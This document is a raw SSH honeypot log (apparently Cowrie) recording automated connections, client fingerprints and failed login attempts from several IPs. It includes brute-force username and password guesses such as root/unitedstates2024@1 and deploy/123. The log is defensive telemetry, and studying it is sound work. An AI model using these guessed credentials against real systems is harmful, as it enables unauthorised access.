{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:16.734470Z","src_ip":"5.196.136.131","session":"f59aa0798bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.221.2","src_port":44382,"dst_ip":"10.17.0.5","dst_port":22,"session":"be7a65ba1478","protocol":"ssh","message":"New connection: 202.29.221.2:44382 (10.17.0.5:22) [session: be7a65ba1478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:19.041822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:19.045624Z","src_ip":"202.29.221.2","session":"be7a65ba1478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:19.289308Z","src_ip":"202.29.221.2","session":"be7a65ba1478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":22273,"dst_ip":"10.17.0.5","dst_port":22,"session":"a322dc257d0d","protocol":"ssh","message":"New connection: 5.196.136.131:22273 (10.17.0.5:22) [session: a322dc257d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:19.745273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:19.748878Z","src_ip":"5.196.136.131","session":"a322dc257d0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:19.828776Z","src_ip":"5.196.136.131","session":"a322dc257d0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2024@1","message":"login attempt [root/unitedstates2024@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:20.022121Z","src_ip":"202.29.221.2","session":"be7a65ba1478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:20.064674Z","src_ip":"5.196.136.131","session":"a322dc257d0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:21.144558Z","src_ip":"5.196.136.131","session":"a322dc257d0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:21.273506Z","src_ip":"202.29.221.2","session":"be7a65ba1478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":63753,"dst_ip":"10.17.0.5","dst_port":22,"session":"2437cccbf844","protocol":"ssh","message":"New connection: 5.196.136.131:63753 (10.17.0.5:22) [session: 2437cccbf844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:24.125422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:24.128245Z","src_ip":"5.196.136.131","session":"2437cccbf844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:24.207304Z","src_ip":"5.196.136.131","session":"2437cccbf844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:24.446880Z","src_ip":"5.196.136.131","session":"2437cccbf844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":44970,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ab3d3679bba","protocol":"ssh","message":"New connection: 91.92.40.176:44970 (10.17.0.5:22) [session: 0ab3d3679bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:25.385287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:25.391277Z","src_ip":"91.92.40.176","session":"0ab3d3679bba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:25.472339Z","src_ip":"91.92.40.176","session":"0ab3d3679bba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:25.528183Z","src_ip":"5.196.136.131","session":"2437cccbf844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx@123","message":"login attempt [nginx/nginx@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:25.721277Z","src_ip":"91.92.40.176","session":"0ab3d3679bba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:26.804850Z","src_ip":"91.92.40.176","session":"0ab3d3679bba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":28779,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c2f228b31dc","protocol":"ssh","message":"New connection: 5.196.136.131:28779 (10.17.0.5:22) [session: 2c2f228b31dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:28.505901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:28.510878Z","src_ip":"5.196.136.131","session":"2c2f228b31dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:28.587345Z","src_ip":"5.196.136.131","session":"2c2f228b31dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:28.837306Z","src_ip":"5.196.136.131","session":"2c2f228b31dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:29.916325Z","src_ip":"5.196.136.131","session":"2c2f228b31dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":57548,"dst_ip":"10.17.0.5","dst_port":22,"session":"91107b167982","protocol":"ssh","message":"New connection: 5.196.136.131:57548 (10.17.0.5:22) [session: 91107b167982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:32.886552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:32.890730Z","src_ip":"5.196.136.131","session":"91107b167982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:32.969163Z","src_ip":"5.196.136.131","session":"91107b167982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:33.205860Z","src_ip":"5.196.136.131","session":"91107b167982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:34.288006Z","src_ip":"5.196.136.131","session":"91107b167982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":63834,"dst_ip":"10.17.0.5","dst_port":22,"session":"897e6506d42a","protocol":"ssh","message":"New connection: 5.196.136.131:63834 (10.17.0.5:22) [session: 897e6506d42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:37.298032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:37.301532Z","src_ip":"5.196.136.131","session":"897e6506d42a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:37.379058Z","src_ip":"5.196.136.131","session":"897e6506d42a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:37.618204Z","src_ip":"5.196.136.131","session":"897e6506d42a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:38.698852Z","src_ip":"5.196.136.131","session":"897e6506d42a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":57718,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0d2b7886a75","protocol":"ssh","message":"New connection: 5.196.136.131:57718 (10.17.0.5:22) [session: b0d2b7886a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:41.727911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:41.731921Z","src_ip":"5.196.136.131","session":"b0d2b7886a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:41.807640Z","src_ip":"5.196.136.131","session":"b0d2b7886a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:42.038153Z","src_ip":"5.196.136.131","session":"b0d2b7886a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:43.116086Z","src_ip":"5.196.136.131","session":"b0d2b7886a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":12637,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdb89de0e453","protocol":"ssh","message":"New connection: 5.196.136.131:12637 (10.17.0.5:22) [session: fdb89de0e453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:46.089160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:27:46.093795Z","src_ip":"5.196.136.131","session":"fdb89de0e453","protocol":"ssh"}
